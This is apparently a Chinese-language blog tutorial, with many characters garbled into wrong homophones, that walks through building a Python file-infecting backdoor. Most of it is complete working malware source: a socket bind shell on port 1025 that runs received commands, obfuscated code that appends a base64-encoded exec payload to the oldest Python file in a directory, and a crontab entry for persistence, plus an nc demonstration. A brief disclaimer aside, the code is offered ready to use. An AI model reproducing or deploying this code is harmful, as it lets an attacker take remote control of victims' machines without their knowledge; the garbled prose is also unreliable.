明天的文章来展现一个 Python“病毒”,它应用后门代码感化其余 Python 文件。 利用 Python 的内置 socket 模块来创立一个监听器,用来连贯到 Python 的内置子过程模块,从而靶机上执行命令,同时还通过创立一个 cronjob 来建设持久性,以在每天固定的工夫运行恶意软件。 最终的 Python 脚本蕴含在本文开端。 留神:请不要将本文中提供的 Python 脚本用于歹意目标。 尽管它不先进,但通过一些批改,它能够让齐全管制某人的计算机。 本文的次要目标是通过这些脚本,更好地理解黑客如何获取失常程序并使它们成为恶意程序。

话不多说,让咱们开始吧。

1、建设通信

任何后门最重要的局部都是建设通信。当初,让咱们为后门拜访创立服务器,要通过 TCP 连贯连贯到靶机,咱们须要应用套接字模块模仿侦听服务器。在 socket 模块中,有一个函数也称为 socket,咱们能够应用它来创立 TCP 或 UDP 套接字。应用 socket.socket 函数创立套接字时,咱们须要提供两个参数来指定咱们要应用的 IP 版本和第 4 层协定。在这个 Python 脚本中,咱们将传入以下参数:socket.AF_INET 和 socket.SOCK_STREAM。

  • AF_INET : 指定 IPv4
  • SOCK_STREAM :指定 TCP 而不是 UDP。
  • socket.socket 函数返回一个对象,该对象由最终确定正在创立的套接字是侦听套接字(服务器)还是连贯套接字(客户端)的办法组成。要创立侦听套接字,须要应用以下办法:
  • bind > 将 IP 地址和端口绑定到网络接口
  • listen > 批示咱们的套接字开始监听传入的连贯
  • accept > 承受传入连贯
  • recv > 从连贯的客户端接收数据
  • send > 向连贯的客户端发送数据

然而,最重要的办法是 recv 和 send。 recv 办法会接管来自攻击者的命令,应用 subproces.run 函数在受害者的零碎上执行它们,而后将执行命令的规范输入重定向到与攻击者建设的 TCP 连贯。上面是 Python 代码:

from socket import socket, AF_INET, SOCK_STREAMfrom subprocess import run, PIPEfrom os import _exitdef serve():    with socket(AF_INET, SOCK_STREAM) as soc:        # [*] The obfuscated values are just the IP address and port to bind to        soc.bind((ip, 端口))        soc.listen(5)        while True:            conn, _ = soc.accept()            while True:                cmd = conn.recv(1024).decode("utf-8").strip()                cmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)                if cmd_output.returncode == 0:                    conn.send(bytes(cmd_output.stdout))                else:                    continueserve()

2、感化指标 Python 文件

这段程序通过遍历指定目录(最好是用户的主目录)并查找批改工夫最早的 Python 脚本。 这里是测试,因而不是感化所有 Python 文件,而仅感化批改工夫最早的文件。感化一个 Python 文件对于管制靶机来说曾经够了。

def MTRkYmNubWx(self):    YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\"    for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):        for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):            if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:                continue            eHhtbG1vZGF0 = stat(f).st_mtime            ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)            if not self.Z2hhenh4ZGwK:                self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)            elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:                self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)    self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])

上述代码的局部变量应用了混同,让人不易看懂,其实很简略,就是应用 os 模块中定义的 walk 和 stat 函数来遍历目录文件并获取它们的批改工夫。 取得的每个文件的批改工夫被转换为 datetime.datetime 对象,以便咱们能够应用 > < 和 == 等运算符轻松比拟日期。 在这个函数的最初,选定的指标 Python 文件名被传递到将后门服务器代码注入其中的函数。

3、通过 crontab 工作来长久化

这个 Python 后门的最初一个函数应用 subprocess.run 函数来调用一个 Linux shell 命令,该命令将在以后用户的 crontab 文件中创立一个条目。 此条目指定打算的 cronjob 应在每天 14:00 定时运行。 增加 crontab 对应的 shell 命令如下:

echo '00 14 * * * file_name | crontab -

而后咱们让 Python 把上一步感化的文件增加到 crontab 中:

def YWZhdGhjCg(self):    if self.bGpqZ2hjen == "Linux":         run(f"echo '00 14 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True)

4、最终的残缺代码

#!/usr/bin/env python3from os.path import expanduserfrom os import walk, statfrom sys import pathfrom glob import globfrom platform import systemfrom base64 import b64encode, b64decodefrom subprocess import run, PIPEfrom datetime import datetimeclass eHhjemR5eXB:    def __init__(self, cHlkYWNhZWFpa):        self.cHlkYWNhZWFpa = cHlkYWNhZWFpa        self.bGpqZ2hjen = system()        self.aWFmYXRye = "0.0.0.0"        self.ZmFsa2p0aGM = 0x401        self.Z2hhenh4ZGwK = None    def dGVyeXB6Y2FjeH(self, dGR6eGFteXBxC):        YWxmanRob = b"from socket import socket, AF_INET, SOCK_STREAM"        YWxmanRob += b"\nfrom subprocess import run, PIPE"        YWxmanRob += b"\ndef serve():"        YWxmanRob += b"\n\twith socket(AF_INET, SOCK_STREAM) as soc:"        YWxmanRob += bytes(            f'\n\t\tsoc.bind(("{self.aWFmYXRye}", {self.ZmFsa2p0aGM}))', "utf-8"        )        YWxmanRob += b"\n\t\tsoc.listen(5)"        YWxmanRob += b"\n\t\twhile True:"        YWxmanRob += b"\n\t\t\tconn, _ = soc.accept()"        YWxmanRob += b"\n\t\t\twhile True:"        YWxmanRob += b'\n\t\t\t\tcmd = conn.recv(1024).decode("utf-8").strip()'        YWxmanRob += (            b"\n\t\t\t\tcmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)"        )        YWxmanRob += b"\n\t\t\t\tif cmd_output.returncode == 0:"        YWxmanRob += b"\n\t\t\t\t\tconn.send(bytes(cmd_output.stdout))"        YWxmanRob += b"\n\t\t\t\telse: continue"        YWxmanRob += b"\nserve()"        YWxmanRob_base64 = b64encode(YWxmanRob)        cXBxZXJjYQ = "\n" * 0x2 + "from subprocess import run\n"        cXBxZXJjYQ += 'run("""python3 -c "from binascii import a2b_base64;'        cXBxZXJjYQ += 'exec(a2b_base64(\'{}\'))" &""",shell=True)'.format(            YWxmanRob_base64.decode()        )        with open(dGR6eGFteXBxC, "a") as f:            f.write(cXBxZXJjYQ)        self.ZmFsa2p0aGM += 1    def MTRkYmNubWx(self):        YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\"        for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):            for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):                if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:                    continue                eHhtbG1vZGF0 = stat(f).st_mtime                ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)                if not self.Z2hhenh4ZGwK:                    self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)                elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:                    self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)        self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])    def YWZhdGhjCg(self):        if self.bGpqZ2hjen == "Linux":            run(f"echo '37 13 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True)if __name__ == "__main__":    # For traversing the user's home directory    # aGdsZGFx = expanduser('~')    # YmNjLGFka2x = eHhjemR5eXB(aGdsZGFx)    YmNjLGFka2x = eHhjemR5eXB("./test")    YmNjLGFka2x.MTRkYmNubWx()    YmNjLGFka2x.YWZhdGhjCg()

在靶机执行该代码后,会感化 ./test 目录中最近批改的文件(指标文件),会主动在指标文件的最初增加这两行代码:

from subprocess import runrun("""python3 -c "from binascii import a2b_base64;exec(a2b_base64('ZnJvbSBzb2NrZXQgaW1wb3J0IHNvY2tldCwgQUZfSU5FVCwgU09DS19TVFJFQU0KZnJvbSBzdWJwcm9jZXNzIGltcG

这样指标文件就变成了木马,会监听 0x401 端口,即 1025 端口。

是不是十分荫蔽?

5、拜访后门

为了测试,咱们手动执行下感化的文件,而不是期待 crontab。

~ # crontab -l37 13 * * * /root/transferfile/transfile_interface.py~ # cd transferfile/~/transferfile # python transfile_interface.py~/transferfile #

程序失常完结,没有任何异样。 而后应用 nc localhost 1025 来反弹一个 shell,在这里执行 ls, whoami 就是靶机的信息了:


这里演示的 localhost 即为靶机,实在场景下就是靶机的 ip 地址。当初靶机曾经齐全被管制了,而受害者齐全不知情。

最初的话

当初,你曾经学习了如何应用 Python 编程语言创立持久性后门,学习了如何应用 Python 的 socket 模块、如何遍历目录以及如何创立 crontab 条目。 如果真正的要感化他人,还要学会如何散发这个后门程序,这里不做探讨。如果有播种,还请点个赞,感激浏览。